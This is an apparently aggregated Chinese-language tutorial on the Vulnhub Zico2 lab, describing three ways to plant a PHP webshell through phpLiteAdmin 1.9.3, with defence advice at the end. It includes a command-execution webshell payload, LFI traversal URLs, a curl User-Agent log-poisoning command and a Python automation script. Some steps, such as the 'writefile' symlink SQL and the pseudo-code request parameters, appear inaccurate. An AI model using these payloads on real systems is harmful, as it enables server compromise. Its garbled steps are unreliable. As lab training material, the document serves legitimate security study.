当前位置: 首页 > news >正文

Vulnhub Zico2 靶场:phpLiteAdmin 1.9.3 数据库文件写入 Webshell 的 3 种利用方式

Vulnhub Zico2 靶场:phpLiteAdmin 1.9.3 数据库文件写入 Webshell 的 3 种利用方式

在渗透测试的学习过程中,Vulnhub 靶场一直是安全爱好者们练习实战技能的绝佳平台。Zico2 靶机作为其中一台中等难度的靶机,提供了一个非常有趣的漏洞场景——通过 phpLiteAdmin 1.9.3 数据库管理工具实现 Webshell 写入。本文将深入探讨这一漏洞的三种不同利用方式,帮助安全研究人员全面理解这一攻击向量。

1. 漏洞背景与环境准备

phpLiteAdmin 是一个轻量级的 SQLite 数据库管理工具,类似于 phpMyAdmin 但专为 SQLite 设计。在 Zico2 靶机中,该工具的 1.9.3 版本存在一个关键漏洞:允许攻击者通过数据库操作写入 PHP 代码并执行。

实验环境准备:

  • 靶机:Vulnhub Zico2 (IP: 192.168.x.x)
  • 攻击机:Kali Linux 或其他渗透测试发行版
  • 网络配置:确保靶机与攻击机在同一网络段

首先,我们需要识别靶机上的 phpLiteAdmin 服务。通过基本的端口扫描和目录爆破,通常可以发现该服务位于/dbadmin目录下:

nmap -sV -p- 192.168.x.x dirb http://192.168.x.x

2. 直接数据库文件写入法

这是最直接的利用方式,通过 phpLiteAdmin 的界面操作直接创建包含恶意代码的数据库文件。

操作步骤:

  1. 访问 phpLiteAdmin 界面(通常无需认证或使用弱口令即可登录)
  2. 创建新数据库(如shell.db
  3. 在新数据库中创建表(如evil
  4. 添加一个 TEXT 类型的字段
  5. 在该字段中插入 PHP 代码:
<?php system($_GET['cmd']); ?>
  1. 将数据库文件重命名为.php扩展名(如shell.php
  2. 访问该文件执行命令:
http://192.168.x.x/dbadmin/shell.php?cmd=id

关键技巧:

  • 某些版本可能需要使用相对路径重命名文件才能生效
  • 如果直接访问不成功,可以尝试通过 LFI(本地文件包含)漏洞包含该文件

3. 文件包含结合数据库写入法

当直接访问写入的 Webshell 受限时,可以结合靶机上可能存在的文件包含漏洞实现代码执行。

实施流程:

  1. 首先按照方法一创建包含恶意代码的数据库文件
  2. 识别靶机上的文件包含漏洞点(常见于 PHP 应用的参数如?page=
  3. 通过文件包含执行数据库中的代码:
http://192.168.x.x/index.php?page=../dbadmin/shell.db
  1. 传递命令参数:
http://192.168.x.x/index.php?page=../dbadmin/shell.db&cmd=whoami

优势:

  • 绕过直接访问限制
  • 更隐蔽,不易被常规防护措施发现

4. 路径穿越结合日志污染法

当上述方法都受限时,可以尝试更复杂的路径穿越结合日志污染技术。

详细步骤:

  1. 确定 phpLiteAdmin 的实际安装路径(如/var/www/html/dbadmin
  2. 通过 User-Agent 或其他可控制的输入污染日志文件:
curl -A "<?php system($_GET['cmd']); ?>" http://192.168.x.x/
  1. 使用 phpLiteAdmin 创建指向日志文件的符号链接:
CREATE TABLE evil (data TEXT); INSERT INTO evil VALUES ('<?php system($_GET['cmd']); ?>'); SELECT writefile('/var/www/html/dbadmin/access.php', '/var/log/apache2/access.log');
  1. 访问污染的日志文件执行代码:
http://192.168.x.x/dbadmin/access.php?cmd=id

注意事项:

  • 需要了解目标服务器的日志路径和权限设置
  • 可能需要多次尝试才能成功

5. 自动化利用脚本示例

为了简化利用过程,可以编写简单的自动化脚本。以下是 Python 伪代码示例:

import requests target = "http://192.168.x.x/dbadmin/" shell_name = "backdoor.php" php_code = "<?php system($_GET['cmd']); ?>" # 创建数据库 requests.post(target + "phpLiteAdmin.php", data={ "action": "create_db", "dbname": shell_name.replace(".php", "") }) # 创建表并插入代码 requests.post(target + "phpLiteAdmin.php", data={ "action": "add_table", "table": "evil", "field": "code TEXT", "value": php_code }) # 重命名文件 requests.get(target + "phpLiteAdmin.php?action=rename&new=" + shell_name) print(f"Webshell 已上传: {target + shell_name}")

6. 防御建议与修复方案

了解攻击手段后,我们更应该关注如何防御此类漏洞:

1. 权限控制:

  • 为 phpLiteAdmin 设置强密码认证
  • 限制数据库文件的写入目录和权限

2. 配置加固:

  • 禁用危险函数(如system()exec()
  • 设置open_basedir限制 PHP 可访问的目录

3. 更新与替代:

  • 升级到最新版本的 phpLiteAdmin
  • 考虑使用更安全的数据库管理工具

4. 监控措施:

  • 监控异常数据库文件创建行为
  • 检查日志中的可疑 PHP 代码片段

7. 漏洞原理深度分析

这个漏洞的核心在于 phpLiteAdmin 对用户输入的处理不当,具体表现在:

  1. 缺乏输入过滤:未对数据库内容进行严格的代码检测
  2. 不安全的文件操作:允许用户控制文件扩展名和存储位置
  3. 默认配置不安全:早期版本默认安装缺少必要的安全防护

从技术角度看,攻击者利用了以下 PHP 特性:

  • PHP 会解析任何包含 PHP 代码的文件,无论其扩展名是什么
  • SQLite 数据库文件本质上是普通文件,可以被 PHP 解释器解析
  • Web 服务器通常配置为允许执行特定目录下的 PHP 文件

理解这些底层原理有助于我们发现和防御类似的安全问题。

http://www.jsqmd.com/news/1149821/

相关文章:

  • 卡巴斯基安装错误 27300 (klim6.sys) 深度排查:从 0x8007007e 到残留网络驱动的 3 步根因定位法
  • 企业全员营销短视频统一管理技术方案解析:架构、痛点与矩阵通系统解构
  • 如何快速配置League-Toolkit:英雄联盟自动化助手的完整指南
  • CVE-2017-3506 与 CVE-2017-10271 对比分析:从补丁绕过看 2 次漏洞演进
  • Windows防撤回终极指南:一键破解微信/QQ/TIM撤回限制
  • AD7490与PIC18F47Q10构建高精度数据采集系统
  • 如何高效提升游戏体验:智能助手的3大场景优化技巧
  • ExifToolGUI:专业级照片元数据管理解决方案深度探索
  • BugkuCTF 安卓逆向:APK反编译与JEB/JD-GUI 3.5.0实战,3步定位关键校验逻辑
  • MSP432与DTH-08实现可靠信号状态控制
  • 2026网站生成工具:新手入门、零代码自动建站平台盘点
  • 业务逻辑漏洞防御:从1个付费下载绕过案例看后端校验的5个关键点
  • ISCC 2022 Web 题解:5类 PHP 反序列化漏洞实战与 3 种绕过技巧剖析
  • Apache POI 5.5.1 安全配置:规避CVE-2025-31672等3大常见漏洞
  • 3类XSS漏洞防御方案对比:从输入过滤到CSP策略的实战效果分析
  • AI 元数据管理:自动给表和字段打标签,让数据目录活起来
  • WinUtil:5个核心功能彻底改变您的Windows管理体验
  • OBS背景移除插件深度指南:AI虚拟绿幕的专业配置与性能优化
  • PHP 8.2 RCE 漏洞实战:3 种常见危险函数利用与 5 种过滤绕过技巧
  • B/S 架构电商平台非功能需求设计:从 6 大维度保障高并发与数据安全
  • 2026小程序制作AI工具选型指南:自然对话式制作工具、零代码小程序制作工具汇总
  • 【毕业设计】SpringBoot+Vue+MySQL 船舶维保管理系统平台源码+数据库+论文+部署文档
  • 免费获取A股数据的终极方案:Python通达信接口MOOTDX完全指南
  • 如何用500元预算打造一台会思考的轮腿机器人?
  • ELK Stack 安全加固:Kibana 7.6.1 启用 X-Pack 安全验证的 5 个关键步骤
  • 羚控地理态势系统 V1.0:300km² 无人机航拍图像自动拼接与 90% 识别率实战
  • Tomcat 7.0.81 与 9.0.98 漏洞对比:3个高危CVE的利用条件与修复方案深度解析
  • BurpSuite 实战:3步绕过前端验证,直击付费下载业务逻辑漏洞
  • Chrome User-Agent 修改:5款扩展插件横向评测与隐私影响分析
  • 从视频到3D动作数据:AI驱动的BVH文件生成完整方案